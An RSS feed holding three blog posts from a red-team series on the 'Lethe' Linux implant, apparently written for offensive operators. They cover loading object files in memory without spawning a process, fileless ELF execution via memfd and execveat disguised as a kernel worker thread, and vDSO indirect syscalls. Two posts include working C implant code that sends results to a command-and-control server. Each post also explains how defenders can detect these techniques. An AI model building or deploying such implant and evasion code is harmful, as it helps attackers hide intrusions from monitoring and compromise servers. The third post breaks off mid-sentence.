<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Qalique on Medium]]></title>
        <description><![CDATA[Stories by Qalique on Medium]]></description>
        <link>https://medium.com/@q3alique?source=rss-fab1a67c8ef9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*WGk2sfPffpXmEMyc65S3ew.jpeg</url>
            <title>Stories by Qalique on Medium</title>
            <link>https://medium.com/@q3alique?source=rss-fab1a67c8ef9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 09:58:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@q3alique/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[No Process, No File:
A Linux ELF BOF Loader from Scratch (Part 3)]]></title>
            <link>https://medium.com/@q3alique/no-process-no-file-a-linux-elf-bof-loader-from-scratch-part-3-9970ac20c23c?source=rss-fab1a67c8ef9------2</link>
            <guid isPermaLink="false">https://medium.com/p/9970ac20c23c</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[command-and-control]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[evasion]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Qalique]]></dc:creator>
            <pubDate>Wed, 21 Oct 2026 19:03:30 GMT</pubDate>
            <atom:updated>2026-10-21T19:03:30.922Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Spawning a new process is the loudest thing an implant can do. BOFs run inside the agent itself, from memory, without a process boundary and without touching disk.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4jdACBQ6gvwy3qWopWsM9g.png" /></figure><p>This is the third and final article in the series on the Lethe Linux agent’s evasion design. The first covered vDSO-based indirect syscalls. The second covered fileless execution with execveat(AT_EMPTY_PATH). This article covers a different problem entirely: how to run arbitrary code on a target without spawning a new process at all.</p><h3>Why process creation is a problem</h3><p>The previous articles in this series focused on reducing the artifacts that a running process leaves behind. But the moment a new process is created, detection systems already have something to work with. A fork followed by an exec generates a process creation event in the audit log. The new process appears in the process table with a parent-child relationship pointing back to the implant. Security tools that monitor process ancestry, something very common in modern EDR products on Linux, can draw a direct line between the implant and the action it performed.</p><p>Every command run as a separate process is a logged event, a visible relationship, and a new entry in the system’s process history. On busy servers, this noise blends in. On monitored targets, each one is a data point.</p><p>The question is whether it is possible to execute arbitrary code from the operator without any of that. No fork, no exec, no new process. The answer is a BOF.</p><h3>What a BOF is</h3><p>BOF stands for <strong>Beacon Object File</strong>. The concept originated in Cobalt Strike, the Windows-focused commercial C2 framework, where it became a standard technique for running short tasks inside the implant process rather than spawning a new one.</p><p>A BOF is a small, self-contained piece of code compiled into what is called a relocatable object file, the intermediate format a compiler normally produces before a linker assembles it into a complete program. The operator sends this file to the implant over the existing command channel. The implant loads it directly into its own memory, runs it, captures the output, and then discards it. The BOF executes as if it were part of the implant itself, sharing the same process, the same memory space, and the same identity from the operating system’s point of view.</p><p>Nothing new appears in the process table. No exec event hits the audit log. The action looks like the implant doing work, not the implant spawning something to do work on its behalf.</p><p>On Windows, the BOF ecosystem is mature. There is extensive documentation, a large library of ready-made BOFs, and community tooling around writing and deploying them. On Linux, almost none of that exists. The mechanism is different, the file format is different, and almost nothing has been written about building a Linux BOF loader from scratch. That is what native_lbof() does.</p><h3>The object file problem</h3><p>A complete executable on Linux (an ELF binary, the format the OS uses for programs and libraries) has all its memory addresses resolved. The linker has already figured out where every function and variable will be, and has written those addresses into the binary. Load it and run it.</p><p>A relocatable object file (.o) is different. It is what the compiler produces before linking. It contains the compiled code for one source file, but the addresses are placeholders. References to functions and variables have blanks where the final addresses should go. A section called .rela.text (a &quot;relocation table&quot;) lists every blank: at this offset, fill in the address of this symbol, adjusted by this constant.</p><p>Normally, the linker processes these tables and fills in the blanks before producing the final binary. When loading a BOF at runtime, that step never happened. The loader has to do it itself, in memory, against a layout it decides on the fly.</p><p>This is the core technical challenge of a BOF loader. Everything else is straightforward memory management. The relocation step is where correctness is required.</p><h3>The implementation: native_lbof()</h3><p>native_lbof() at line 602 of nextgen_core.c implements the full load, relocate, and execute pipeline in roughly 100 lines of no-libc C. It receives the BOF as a base64-encoded object file and the arguments as a base64-encoded data block, then processes them through four phases.</p><ul><li>Phase 1: <strong>Layout</strong></li></ul><p>Scan the ELF section headers to calculate how much memory is needed, respecting each section’s alignment requirement. Count the number of external symbol references to reserve space for trampoline stubs.</p><ul><li>Phase 2: <strong>Copy</strong></li></ul><p>Allocate a single block of executable, readable, writable memory for the BOF. Copy each code and data section into it at the pre-calculated offsets. Zero-initialize BSS sections (uninitialized global variables).</p><ul><li>Phase 3: <strong>Relocate</strong></li></ul><p>Walk every relocation table entry. For each reference to an internal symbol, compute the runtime address and patch the placeholder. For each reference to an external symbol (a Beacon API function), build a trampoline stub and patch the reference to point at it.</p><ul><li>Phase 4: <strong>Execute</strong></li></ul><p>Find the exported go() function in the symbol table, call it with the decoded arguments, capture any output it produced through the Beacon API, send it back encrypted, and free all memory.</p><p>The alignment calculation in Phase 1 uses a standard power-of-two rounding formula: (size + align - 1) &amp; ~(align - 1). It advances the running offset to the next boundary that satisfies the section&#39;s alignment requirement before placing the next section. This matters because code on x86-64 has alignment requirements, and misaligned placement produces crashes that are difficult to diagnose.</p><p>nextgen_core.c, section layout pass</p><pre>for (int i = 0; i &lt; sh_num; i++) {<br>    if (shdr[i].sh_size == 0) continue;<br>    if (shdr[i].sh_type == 1 || shdr[i].sh_type == 8) {  /* PROGBITS or NOBITS */<br>        uint64_t align = shdr[i].sh_addralign ? shdr[i].sh_addralign : 1;<br>        total_size = (total_size + align - 1) &amp; ~(align - 1);<br>        section_offsets[i] = total_size;<br>        total_size += shdr[i].sh_size;<br>    }<br>}</pre><h3>Relocations: patching addresses at runtime</h3><p>The relocation step is the most demanding part. The ELF format defines a fixed set of relocation types for x86–64, each describing a different way to encode an address into a machine instruction. native_lbof() handles the five types that cover nearly all real-world BOF code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*1IZ2X8sLD5lwED9PL3t8-g.png" /></figure><p>In these formulas, S is the runtime address of the referenced symbol, A is a constant adjustment stored in the relocation record itself, and P is the address of the location being patched. For PC-relative types, subtracting P converts the absolute address into the offset the CALL instruction expects.</p><p>Internal symbols, functions and variables defined within the BOF itself, resolve directly to their runtime address inside the allocated memory block. External symbols, the Beacon API functions the BOF calls, require a different approach.</p><h3>Trampoline stubs: the bridge to the agent</h3><p>When a BOF calls BeaconPrintf(), that function lives in the agent&#39;s memory, potentially far away from the BOF&#39;s own allocation. The call instruction in the BOF uses a 32-bit PC-relative offset, which has a maximum range of roughly 2 gigabytes in either direction. On a 64-bit system where memory allocations can be anywhere in the full address space, the agent and the BOF may easily be more than 2GB apart. A 32-bit offset cannot bridge that gap.</p><p>This is the same problem a linker faces when generating code for shared libraries, and it solves it the same way: a trampoline stub. For each external symbol the BOF references, native_lbof() builds a small code fragment in the same memory block as the BOF itself, directly after the sections. Because the trampoline is in the same allocation, it is close enough for a 32-bit relative call to reach. The trampoline itself uses a 64-bit absolute jump, which can reach any address in the full address space.</p><p>Each trampoline is 14 bytes:</p><pre>14-byte trampoline stub (per external symbol)<br>FF 25 00 00 00 00 JMP QWORD PTR [RIP+0] — indirect jump through the pointer below <br>xx xx xx xx xx xx xx xx 64-bit absolute address of the Beacon API function</pre><p>The instruction FF 25 00 00 00 00 means: jump to the address stored in the 8 bytes that immediately follow this instruction. Those 8 bytes hold the exact address of BeaconPrintf, BeaconOutput, or whichever function the BOF is calling. The BOF&#39;s call instruction points at the trampoline. The trampoline jumps to the real function. The real function executes and returns normally.</p><p>nextgen_core.c, trampoline stub generation</p><pre>uint8_t* tramp = (uint8_t*)((uint64_t)base_mem + tramp_base_off + (curr_tramp * 16));<br>tramp[0] = 0xff; tramp[1] = 0x25;       /* JMP QWORD PTR [RIP+0] */<br>*(uint32_t*)(tramp + 2) = 0;             /* RIP+0: pointer is at next byte */<br>*(uint64_t*)(tramp + 6) = (uint64_t)addr; /* 64-bit absolute target address */<br>S = (uint64_t)tramp;<br>curr_tramp++;</pre><p>The space for trampolines is reserved during the layout pass, where the loader counted external symbol references and added num_ext_syms * 16 bytes to the allocation (16 rather than 14 for alignment). One trampoline is built for each unique external call site.</p><h3>The Beacon API on Linux</h3><p>The Beacon API is the interface a BOF uses to communicate with the implant: printing output, parsing arguments, making system calls. It was originally defined by Cobalt Strike for Windows BOFs, but the interface itself is generic, and the Lethe Linux agent implements the same function names with Linux-native behavior underneath.</p><p>BeaconPrintf and BeaconOutput write into an in-memory output buffer. BeaconDataParse, BeaconDataInt, BeaconDataExtract and the rest parse the packed argument structure the operator sends with the BOF. BeaconSyscall gives the BOF direct access to the agent&#39;s indirect syscall wrapper, so BOF code can make system calls that route through the vDSO gadget described in Part 1, without linking against any library.</p><p>The symbol resolver function resolve_bof_sym() maps each name the BOF references to the corresponding function pointer in the agent. If a name is not recognized, the relocation is skipped rather than crashing. The __stack_chk_fail symbol, the compiler&#39;s stack protection callback, is mapped to a no-op so BOFs compiled with stack canaries do not cause problems at runtime.</p><h3>What a detector sees</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*Y23LpyTgNhIYNn8JKsA85Q.png" /></figure><p>The remaining observable is the memory allocation. An anonymous executable memory mapping appearing in the agent’s memory map is detectable if a security tool is watching /proc/&lt;pid&gt;/maps for new rwx regions. This is a real detection surface and one that future work can address, for example by splitting the allocation into separate writable and executable regions after relocation is complete.</p><h3>Lessons learned</h3><ul><li><strong>BOFs eliminate the process creation event entirely</strong>. The most visible action an implant takes, spawning a new process to run a task, disappears. The task runs inside the agent’s own process and produces no new entry in the process table or audit log.</li><li><strong>Relocation is the hard part, and it must be correct</strong>. Getting a relocation formula wrong produces behavior that is difficult to reproduce and diagnose. The five types handled here cover nearly all real C-compiled BOF code. Any type not recognized is skipped rather than guessed.</li><li><strong>Trampolines solve the 32-bit reach problem cleanly</strong>. The same mechanism that linkers use for shared library calls works here at runtime. One trampoline per external symbol, placed in the same allocation as the BOF, keeps all relative calls within range while allowing the 64-bit jump to reach anywhere in memory.</li><li><strong>Building without libc keeps the loader consistent with the agent</strong>. All allocations go through mmap and munmap directly. All cleanup is explicit. There are no hidden dependencies on library state that could interfere with the BOF&#39;s execution environment.</li><li><strong>The Beacon API creates a reusable interface</strong>. BOFs written to the Beacon API specification can be adapted for Linux without changing their structure. The loader resolves the names; the BOF code does not need to know or care what is on the other side.</li><li><strong>Anonymous executable mappings are still visible</strong>. A rwx region appearing in /proc/&lt;pid&gt;/maps is detectable. Splitting the mapping into separate write and execute stages after relocation is complete would reduce this surface without changing the BOF&#39;s behavior.</li></ul><h3>Where this fits in the series</h3><p>This is the third part of the Lethe Linux evasion series. The three articles form a stack:</p><ul><li><strong>Part 1 (vDSO indirect syscalls)</strong>: routes every system call through a kernel-mapped code gadget to defeat stack attribution in eBPF-based monitoring.</li><li><strong>Part 2 (execveat + AT_EMPTY_PATH)</strong>: executes ELF payloads from memory with no file on disk and no path artifact in /proc.</li><li><strong>Part 3 (ELF BOF loader)</strong>: runs arbitrary operator-supplied code inside the agent process itself, with no process creation, no file, and no exec event.</li></ul><p>Each technique addresses a different detection layer: syscall origin, filesystem and path artifacts, and process creation events. Together they describe an agent designed from the ground up around the detection surfaces that are actually deployed on modern Linux infrastructure, which is ultimately what this series has been about.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9970ac20c23c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Fileless Execution Without the /proc Artifact (Part2)]]></title>
            <link>https://medium.com/@q3alique/linux-fileless-execution-without-the-proc-artifact-part2-454a058f5c18?source=rss-fab1a67c8ef9------2</link>
            <guid isPermaLink="false">https://medium.com/p/454a058f5c18</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[evasion]]></category>
            <dc:creator><![CDATA[Qalique]]></dc:creator>
            <pubDate>Fri, 16 Oct 2026 19:14:25 GMT</pubDate>
            <atom:updated>2026-10-16T19:14:25.645Z</atom:updated>
            <content:encoded><![CDATA[<p><em>The common fileless execution approach leaves a path in /proc. One flag removes it. Most detection rules stop at the path.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WN6zsVDLWnSlePWt53SmVg.png" /></figure><p>This is the second article in the series on the Lethe Linux agent’s evasion design. The first covered vDSO-based indirect syscalls, the Linux equivalent of Hell’s Gate. This article covers how the agent executes ELF payloads with no file on disk and, more precisely, with no path in the filesystem at all, including inside /proc.</p><h3>Why traces matter</h3><p>When a traditional implant runs, it usually writes something to disk first , a payload file, a dropper, a shared library. The moment that happens, defenders gain multiple options. The file has a hash that antivirus signatures can match. It generates a file creation event in the system’s audit log. Endpoint security tools can scan it on access. Forensic investigators can recover it after the fact, even if the attacker deletes it. The file is a persistent, recoverable artifact that outlives the running process.</p><p>Every artifact left behind is a detection opportunity. Remove the file, and you remove an entire class of detection: hash-based signatures stop matching, on-access scans find nothing, forensic recovery is limited to what was in memory at the time. This is the practical value of fileless execution , not hiding from a running system, but eliminating the surfaces that detection tools depend on.</p><p>On Linux, the standard “fileless” technique does remove the file from disk. But it leaves behind a different artifact, one that is less obvious and less widely understood. That artifact is what this article is about.</p><h3>What “fileless” means on Linux</h3><p>The standard Linux fileless technique uses memfd_create , a kernel call that creates an anonymous, in-memory file. Unlike a regular file, it has no name in the filesystem and no path on disk. Think of it as a temporary scratch space the OS gives you in RAM, referenced by a file descriptor (a numeric handle the OS uses to track open files). The payload is written into this memory-backed file and executed directly from it. Nothing touches storage.</p><p>This genuinely eliminates the disk-based detection surfaces described above. There is no file to hash, no creation event to alert on, nothing for forensics to recover from storage.</p><p>But the standard approach for executing from a memfd leaves behind a different artifact. Linux maintains a virtual filesystem called /proc , it exposes information about every running process in a browsable, file-like structure. Among other things, it records the executable path of each process and exposes every open file descriptor as a symbolic link inside /proc/&lt;pid&gt;/fd/.</p><p>When you execute a payload using the classic approach, a library function called fexecve(), what happens internally is that it constructs the path string /proc/self/fd/3 (or whatever number your fd is) and passes it to the kernel as the executable path. The kernel follows that link, finds the memfd, and runs it. The payload never touched disk , but the process&#39;s recorded executable path is now /proc/self/fd/3, visible in process listings, in the audit log, and in security monitoring tools.</p><p>The standard fileless technique drops one artifact, then creates another. Detection rules adapted to this pattern look for exactly this: a process whose executable path resolves to a /proc/self/fd/ link. This is a well-known indicator. Endpoint security tools flag it. Audit rules are written for it.</p><p>There is a different approach, available through a single flag in one system call, that avoids even this.</p><h3>Where the standard approach leaves a trace</h3><p>The previous section described the mechanism in overview. Here is the detail that matters for detection. When fexecve() constructs the path /proc/self/fd/&lt;n&gt; and passes it to the kernel, that path string ends up recorded in several places:</p><ul><li>/proc/&lt;pid&gt;/exe , the kernel&#39;s record of what a process is running , points to the /proc/self/fd/N string.</li><li>Auditd (Linux’s built-in kernel audit system, which logs security-relevant events to disk) records the path argument of every execution call. The /proc/self/fd/N string appears in those logs.</li><li>eBPF security tools (programs the kernel runs on its behalf to observe system activity) see the path argument at the moment the execution call fires.</li><li>Any process monitoring tool that reads /proc/&lt;pid&gt;/exe sees it in the process list.</li></ul><p>The detection rule writes itself: flag any process whose executable path contains /proc/self/fd/. It is reliable and almost never produces false positives. Legitimate software does not execute this way.</p><p>The Lethe agent’s script runner uses exactly this pattern, because scripts need to be passed as a path argument to their interpreter and there is no way around that. When the agent runs a shell script or Python file from memory, it has to construct a /proc/self/fd/N path , that is an inherent limitation of how interpreters work: they accept a file path as their argument, not a file handle.</p><p>The ELF runner has no such constraint. ELF binaries (Linux’s native executable format) are not interpreted by a user-space program , they are loaded directly by the kernel. And the kernel provides a way to do that without ever constructing a path.</p><h3>execveat and the AT_EMPTY_PATH flag</h3><p>execveat is a Linux kernel call added in version 3.19 of the Linux kernel. Kernel calls are the standardized requests programs make to the operating system: &quot;execute this file,&quot; &quot;open this connection,&quot; &quot;allocate this memory.&quot; execveat is a more flexible version of the standard execution call (execve). Where execve takes a file path, execveat takes a file descriptor and a path, resolving the path relative to the fd. For most uses it behaves like the regular call.</p><p>But there is a special case that changes everything: if the path argument is an empty string and the flag AT_EMPTY_PATH (value 0x1000) is set, the kernel ignores the path entirely and uses the file descriptor directly as the target executable. No path is constructed, no symbolic link is resolved, no /proc entry for a path is created. The kernel loads the program from the file descriptor, and the process&#39;s executable record in /proc shows the memfd&#39;s anonymous name , /memfd:[name] , with no /proc/self/fd/ component anywhere.</p><p>This is the key difference. With the standard fexecve approach, the child process’s exe entry is a /proc/self/fd/N path. With execveat(fd, &quot;&quot;, argv, env, AT_EMPTY_PATH), the child&#39;s exe entry is the memfd&#39;s anonymous name, which is whatever string was passed to memfd_create. There is no /proc/self/fd/ path anywhere in the picture.</p><blockquote><em>The detection rule “look for processes with a </em><em>/proc/self/fd/ exe path&quot; catches the fexecve-style pattern and misses the </em><em>execveat + AT_EMPTY_PATH pattern entirely. These are different syscall paths in the kernel and they leave different artifacts.</em></blockquote><h3>The implementation: native_run_mem()</h3><p>The Lethe agent implements two separate execution paths for in-memory payloads. native_run_script() handles scripts and must use the /proc/self/fd/N approach , there is no way around it for scripts, as explained above. native_run_mem() handles ELF binaries (Linux&#39;s native executable format, the equivalent of a .exe on Windows) and uses execveat with AT_EMPTY_PATH. The distinction is deliberate: scripts need a user-space interpreter which requires a path argument; ELF binaries are loaded directly by the kernel which can work from a file descriptor alone.</p><p>Since the agent is built without the C standard library (-nostdlib -ffreestanding), all kernel calls are made directly , there is no fexecve() wrapper available even if we wanted it. Every call is explicit, routed through the vDSO gadget described in the previous article.</p><p>nextgen_core.c , native_run_mem()</p><pre>static void native_run_mem(const char* b64_elf) {<br>    size_t b64_len = strlen(b64_elf);<br><br>    /* allocate anonymous memory for the decoded ELF */<br>    uint8_t* elf_buf = (uint8_t*)_syscall6(SYS_MMAP, 0,<br>                           b64_len + 4096, 3, 34, -1, 0);<br>    int elf_len = b64_decode(b64_elf, b64_len, elf_buf);<br><br>    /* create an anonymous, in-memory file with no disk path */<br>    /* MFD_CLOEXEC (flag 1): close this fd in the child after exec */<br>    int fd = _syscall2(SYS_MEMFD_CREATE, (long)&quot;[kworker/u2:1]&quot;, 1);<br>    if (fd &lt; 0) { send_encrypted(&quot;[!] memfd_create failed.&quot;, 0, NULL); return; }<br><br>    _syscall3(SYS_WRITE, fd, (long)elf_buf, elf_len);<br>    _syscall3(SYS_LSEEK, fd, 0, 0);<br><br>    /* pipe for capturing the child&#39;s stdout and stderr */<br>    int pipefd[2];<br>    _syscall1(22, (long)pipefd);  /* pipe */<br><br>    long pid = _syscall0(57);     /* fork */<br>    if (pid == 0) {<br>        /* child: redirect output, then exec the ELF from the fd */<br>        _syscall1(SYS_CLOSE, pipefd[0]);<br>        _syscall2(SYS_DUP2, pipefd[1], 1);<br>        _syscall2(SYS_DUP2, pipefd[1], 2);<br><br>        char* argv[] = {&quot;[kworker/u2:1]&quot;, NULL};<br><br>        /* AT_EMPTY_PATH = 0x1000: use fd directly, no /proc/self/fd path */<br>        _syscall5(SYS_EXECVEAT, fd, (long)&quot;&quot;, (long)argv,<br>                  (long)g_clean_env, 0x1000);<br><br>        _syscall1(60, 1);  /* exit(1) if execveat fails */<br><br>    } else if (pid &gt; 0) {<br>        /* parent: collect output and wait for child */<br>        _syscall1(SYS_CLOSE, pipefd[1]);<br>        char* output = (char*)_syscall6(SYS_MMAP, 0, 262144, 3, 34, -1, 0);<br>        /* ... read from pipe, wait4, send_encrypted back to C2 ... */<br>    }<br><br>    _syscall2(SYS_MUNMAP, (long)elf_buf, b64_len + 4096);<br>}</pre><p>Three things in this function work together to reduce the execution’s visibility:</p><ul><li>The memfd name is [kworker/u2:1]. This is the naming format for kernel worker threads. A process listing showing a process with this name blends into the expected background noise of a Linux system. This name appears in /proc/&lt;pid&gt;/exe as /memfd:[kworker/u2:1].</li><li>argv[0] is also [kworker/u2:1]. The first element of the argument vector is how a process identifies itself in ps, top, and similar tools. Setting it to match the memfd name means the process name in every listing matches the kernel worker pattern.</li><li>MFD_CLOEXEC (the flag value 1 passed to memfd_create) marks the fd as close-on-exec. After execveat fires, the fd is automatically closed in the child process. It does not appear as an open fd in /proc/&lt;child-pid&gt;/fd/. The memfd still exists as the executable, but there is no lingering fd entry in the process&#39;s fd table pointing to it.</li></ul><h3>Why scripts cannot use this</h3><p>The contrast with native_run_script() illustrates why AT_EMPTY_PATH is only available to native ELF execution.</p><p>nextgen_core.c , native_run_script() path construction</p><pre>/* script runner: must build a /proc path for the interpreter */<br>char fd_path[64];<br>memset(fd_path, 0, 64);<br>memcpy(fd_path, &quot;/proc/self/fd/&quot;, 14);<br>_itoa(fd, fd_path + 14);<br><br>char* argv[] = {(char*)interp, fd_path, NULL};<br>_syscall3(SYS_EXECVE, (long)interp, (long)argv, (long)g_clean_env);</pre><p>When executing a shell script or Python file, the agent launches an interpreter (/bin/sh, /usr/bin/python3, and so on) and passes the script as a path argument. The interpreter opens the file at that path and reads it. There is no way to hand an interpreter an open file descriptor instead of a path , interpreters are regular programs that accept command-line strings, not file handles. The /proc/self/fd/N trick is the only way to give the interpreter a path that resolves to a memory-backed file, and it leaves the artifact we described.</p><p>ELF execution is different because the kernel handles it directly. When execveat is called on an ELF binary, the kernel&#39;s own loader maps the binary into memory and starts it running. The kernel does not need a path string , it only needs the file descriptor. AT_EMPTY_PATH tells it to use the fd directly, skipping path resolution entirely. No path is constructed, so no path artifact exists.</p><p>This is a structural difference between the two execution paths, not a detail that can be worked around. The path artifact in the script runner is inherent to how interpreters work. Its absence in the ELF runner is inherent to how the kernel loads native executables.</p><h3>What a detector sees</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*gGG1BIqi8xlC-HE_4e6fFw.png" /><figcaption>Comparing the two execution paths from a detection standpoint</figcaption></figure><p>The /proc/self/fd detection rule, which is a legitimate and correct signal against the standard fileless pattern, does not fire at all against execveat + AT_EMPTY_PATH. A detector that has not been written to look for execveat with an empty path argument, or for /memfd:[...] style exe links, will see a process named [kworker/u2:1] with no suspicious path and no obvious artifact to flag.</p><p>What detection does require: auditd rules covering execveat (syscall 322 on x86_64) specifically, or eBPF-based telemetry that monitors the execveat entry point and inspects the flags argument for AT_EMPTY_PATH. A detector that only instruments execve will miss this entirely. The memfd name itself (/memfd:[...] in the exe link) is also a detectable pattern, since no legitimate process running from a memfd is expected in normal operation. But the bar to reach that detection is higher than catching a /proc/self/fd/ path, because /memfd: in an exe link is a less common rule.</p><h3>Lessons learned</h3><h4>Not all fileless execution is equal</h4><p>The memfd pattern is well-known and reasonably well-detected. AT_EMPTY_PATH is not. Both are fileless in the sense that no file touches disk, but only one avoids creating a detectable path artifact in procfs. When writing detection rules or evaluating implant tradecraft, it is worth distinguishing between the two explicitly.</p><h4>Syscall number coverage gaps are real</h4><p>Auditd rules and eBPF programs must explicitly enumerate the syscalls they monitor. Many environments audit execve (NR 59) and do not include execveat (NR 322) in the same rule. These are separate kernel entry points and must be listed separately. A rule that says &quot;monitor process execution&quot; implemented only as a watch on syscall 59 has a gap. execveat is not a new syscall; it has been in the kernel since 2014. The coverage gap is a policy gap, not a capability gap.</p><h4>MFD_CLOEXEC is not optional</h4><p>Passing MFD_CLOEXEC (flag 1) to memfd_create means the fd is closed in the child after exec. Without it, the child inherits an open fd pointing to its own backing memory, visible in /proc/&lt;child&gt;/fd/. Any tool that scans running processes for memfd-backed fds in their fd tables finds it. Adding MFD_CLOEXEC removes this artifact with no functional cost: the kernel does not need the fd to remain open after the exec succeeds.</p><h4>Process name masquerade requires both layers</h4><p>Naming the memfd [kworker/u2:1] makes /proc/&lt;pid&gt;/exe read as /memfd:[kworker/u2:1]. Setting argv[0] to [kworker/u2:1] makes ps and top show the same name. These are two separate records in the kernel. Setting only the memfd name leaves argv[0] as whatever the agent passed; setting only argv[0] leaves the exe link inconsistent. Both must match for the masquerade to be coherent.</p><h4>Environment sanitization matters independently</h4><p>The agent passes g_clean_env rather than the inherited environment to the child process. A sanitized environment strips variables that could identify the parent process or expose agent-specific state to the payload. This is independent of the execution mechanism but equally necessary: inheriting the full environment is a leak regardless of how cleanly the execution itself was handled.</p><h4>Build without libc where the technique permits it</h4><p>The agent is compiled with no C standard library (-nostdlib -ffreestanding). The fexecve() function is not available as a result, but more importantly, neither are the library entry points that many monitoring tools hook into. A common detection approach on Linux is to intercept calls made through the standard C library , using LD_PRELOAD to inject a wrapper, using ptrace to observe library calls, or placing eBPF probes on library function entries. All of these miss a binary that never calls the standard library at all. The build constraint that removes fexecve() as an option also removes several detection surfaces that would otherwise apply.</p><h3>Where this fits in the series</h3><p>The first article covered how the vDSO gadget routes system calls through kernel-mapped memory to defeat eBPF stack attribution. This article covers how the resulting system calls, when used for ELF execution, avoid creating filesystem artifacts that would otherwise be flagged.</p><p>Together, the two techniques address different layers of the same detection problem. The vDSO gadget defeats origin-based syscall attribution: the recorded instruction pointer at syscall entry points to kernel-mapped memory rather than agent memory. execveat + AT_EMPTY_PATH defeats path-based execution detection: there is no /proc/self/fd path for detection rules to match against.</p><p>Neither technique is a complete answer on its own. A detector looking specifically for /memfd: exe links, or for execveat with an empty path argument and the AT_EMPTY_PATH flag, can still flag this execution. The goal is not undetectability, it is ensuring that the common, deployed detection rules do not fire, and that detection requires specifically targeted coverage rather than opportunistic matching on well-known patterns.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=454a058f5c18" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Has No Hell’s Gate (Part 1)]]></title>
            <link>https://medium.com/@q3alique/linux-has-no-hells-gate-part-1-23c388c4f3d9?source=rss-fab1a67c8ef9------2</link>
            <guid isPermaLink="false">https://medium.com/p/23c388c4f3d9</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Qalique]]></dc:creator>
            <pubDate>Wed, 07 Oct 2026 19:11:53 GMT</pubDate>
            <atom:updated>2026-10-07T19:11:53.702Z</atom:updated>
            <content:encoded><![CDATA[<p><em>The vDSO does. And almost nobody in offensive security talks about it.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iYHLvPKpI450lWu_zqzF8g.jpeg" /></figure><p>This is the first article in a series on the Lethe Linux agent. The goal behind that work is straightforward: <strong>Linux implants should reach the same evasion depth that Windows implants have had for years</strong>. Not a port of Windows techniques, but a ground-up design for the Linux threat model, built with the same level of attention to detection surfaces. This series documents what that looks like in practice.</p><h3>The gap nobody mentions</h3><p>There is a large body of published research on Windows implant evasion. Hell’s Gate, Halo’s Gate, FreshyCalls, SysWhispers, TartarusGate, every one of these is a technique for routing system calls (the mechanism programs use to ask the OS kernel to do something) through a trusted Microsoft library so that when the call reaches the kernel, the recorded origin address points to that library rather than to the implant’s own code. EDRs track where system calls come from by looking at the instruction pointer at the moment the call fires. If that address is inside a known, signed Windows library, the call looks legitimate. If it is inside a block of memory the implant allocated for itself, it looks like shellcode.</p><p>Linux has the same detection mechanism. eBPF is a Linux kernel technology that lets security tools run small programs inside the kernel, triggered on events like syscalls, to record what is happening. These tools can capture the full user-space call stack at the moment a syscall fires and check where it originated. A rule that flags “this syscall came from executable memory that is not a known library” works on Linux just as well as on Windows. The detection capability exists. The tooling is deployed. The technique to defeat it is almost completely absent from public offensive security literature.</p><p>That absence deserves some examination. Linux is not a niche target. It runs the majority of the world’s server infrastructure: cloud VMs, container orchestration nodes, CI/CD pipelines, database servers, internal developer tooling. A corporate environment might have hundreds of Windows workstations and thousands of Linux servers. The servers are where the data lives, where the build pipelines run, where lateral movement pays off. And yet the evasion research, the techniques that make implants survive on a defended system, almost all lives on the Windows side of the fence.</p><p>The commercial product gap is real too. Major endpoint security vendors all have Linux agents, but their detection logic is far less mature than their Windows counterparts, their telemetry is shallower, and their behavioral signatures are less refined. The years of published research that pushed Windows evasion forward have not happened for Linux. The arms race is one-sided, and the attacker side is behind.</p><p>This article is about one specific technique: using the vDSO as a gadget source for indirect syscalls on Linux, the same structural idea as Hell’s Gate, applied to a target where it has not been written about. The implementation is in the Lethe NextGen Linux agent. We will walk through why it works, what it looks like from the inside, and what a defender has to do to catch it.</p><h3>How Windows indirect syscalls work</h3><p>Every Windows process has ntdll.dll loaded into it. ntdll is the system library that sits between programs and the Windows kernel, it contains small stub functions for every system call, each one loading a syscall number and executing the syscall instruction to hand off to the kernel. Those instructions live at known addresses inside ntdll.</p><p>EDRs noticed that implants making syscalls directly from their own code left a distinctive signature: the instruction pointer at the moment of the call was not inside any recognized module, it was inside a block of memory the implant had allocated for itself. So the arms race began. The attacker response was to not execute the syscall instruction from implant code at all. Instead, jump into a syscall; ret sequence that already exists inside ntdll. At the moment the kernel receives the call, the recorded origin address is inside ntdll, it looks like a normal Windows API call. The &quot;gadget&quot; is that short syscall; ret sequence, and the hunt for its exact location in ntdll is what Hell&#39;s Gate and its descendants are about.</p><blockquote>The core insight of indirect syscalls: if you 